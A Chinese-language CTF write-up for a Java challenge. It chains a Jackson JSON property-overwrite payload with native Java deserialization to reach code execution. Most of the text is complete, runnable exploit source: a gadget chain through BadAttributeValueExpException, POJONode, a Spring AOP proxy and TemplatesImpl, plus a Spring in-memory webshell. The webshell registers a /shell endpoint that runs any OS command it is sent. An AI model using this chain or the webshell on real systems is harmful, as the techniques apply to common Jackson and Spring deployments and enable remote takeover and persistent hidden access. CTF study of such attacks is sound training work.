目录
step -1
step 0
step 1
step 2
step 3
step -1
①题目hint:想办法修改属性值后进入java的原生反序列化,然后利用jackson链写入内存马
②jackson反序列化基础:
ObjectMapper objectMapper = new ObjectMapper();
String jsonString = "{\"@type\":\"com.example.Person\",\"name\":\"John\",\"age\":30}";
Person person = objectMapper.readValue(jsonString, Person.class);
在这个示例中,Jackson会根据@type
字段的值com.example.Person
来确定应该创建一个Person
对象,并将JSON中的其他属性值映射到该对象的属性上。
需要注意的是,在使用@type
字段时,需要确保对应的Java类路径在类加载器的搜索路径上,并且Jackson的ObjectMapper
能够访问到这些类。
③jackson性质:
如果在Jackson反序列化过程中,指定的目标类为 LinkedHashMap
,而 JSON 字符串中包含了 @type
字段,那么 Jackson 会将 @type
字段作为 LinkedHashMap
的一个普通属性来处理,而不会将其视为 autotype。
假设有以下 JSON 数据:
{
"@type": "com.example.Dog",
"name": "Buddy",
"breed": "Golden Retriever"
}
@type
字段将被作为普通属性存储在 LinkedHashMap
中,而不会触发对应用于 Dog
类的自动类型解析。因此反序列化后的结果将是一个 LinkedHashMap
实例,其中包含了 @type
字段及其它属性。
step 0
pom依赖只有spring可以利用
反序列化入口有两处,第一处是jackson反序列化,第二处是无过滤的原生反序列化
step 1
重点关注几个方法
①SecurityCheck.isSafe()
默认返回true,因为是static,所以可改属性值
②SecurityCheck.ismap() 返回一个HashSet
HashSet的无参构造方法就是实例化一个HashMap并存进map属性中
add的值,即HashMap的key就是HashSet的iterator所取的内容,而PRESENT作用是占位
③SecurityCheck.deObject
这段代码主要用于在反序列化过程中,根据@type
字段的值动态确定要创建的对象类型,并将LinkedHashMap
中的属性值赋给对应的对象属性。
这也要求我们jackson反序列化得到的类要是LinkedHashMap或其子类
step 2
链子很简单
参考这篇文章:【Web】浅聊Jackson序列化getter的利用——POJONode_jackson反序列化调用getter-CSDN博客
BadAttributeValueExpException -> POJONode -> TemplatesImpl
但首先要在第一个反序列化入口打入属性覆盖,从而为进入第二个反序列化入口创造条件
注意因为指定了class与LinkedHashMap相关,这里的第一个@type是作为属性来处理
{"@type":"ctf.nese.SecurityCheck","safe":false,"treeMap":{"@type":"java.util.HashSet","map":{"反序列化字符串":""}}}
指定的class要继承LinkedHashMap,可以用org.springframework.core.annotation.AnnotationAttributes
最终payload:
classes=org.springframework.core.annotation.AnnotationAttributes&obj={"@type":"com.example.jackson.SecurityCheck","safe":false,"treeMap":{"@type":"java.util.HashSet","map":{"序列化字符串":""}}}
step 3
生成序列化字符串
EXP.java
package com.example.jackson;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
public class EXP {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
ctClass0.removeMethod(writeReplace);
ctClass0.toClass();
byte[] code = Repository.lookupClass(SpringMemShell.class).getBytes();
byte[][] codes = {code};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "useless");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes", codes);
POJONode node = new POJONode(makeTemplatesImplAopProxy(templates));
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setFieldValue(val, "val", node);
byte[] poc = ser(val);
System.out.println(Base64.getEncoder().encodeToString(poc));
}
public static byte[] ser(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos);
objectOutputStream.writeObject(obj);
objectOutputStream.close();
return baos.toByteArray();
}
public static Object makeTemplatesImplAopProxy(TemplatesImpl templates) throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
return proxy;
}
public static void setFieldValue(Object obj, String field, Object val) throws Exception{
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
}
SpringMemShell
package com.example.jackson;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;
public class SpringMemShell extends AbstractTranslet{
static {
try {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config =
(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
Method method2 = SpringMemShell.class.getMethod("shell", HttpServletRequest.class, HttpServletResponse.class);
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = RequestMappingInfo.paths("/shell")
.options(config)
.build();
SpringMemShell springControllerMemShell = new SpringMemShell();
mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
} catch (Exception hi) {
// hi.printStackTrace();
}
}
public void shell(HttpServletRequest request, HttpServletResponse response) throws IOException {
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
第一次打入来覆盖SecurityCheck
第二次打入来原生反序列化注入内存马
成功写入,命令执行拿flag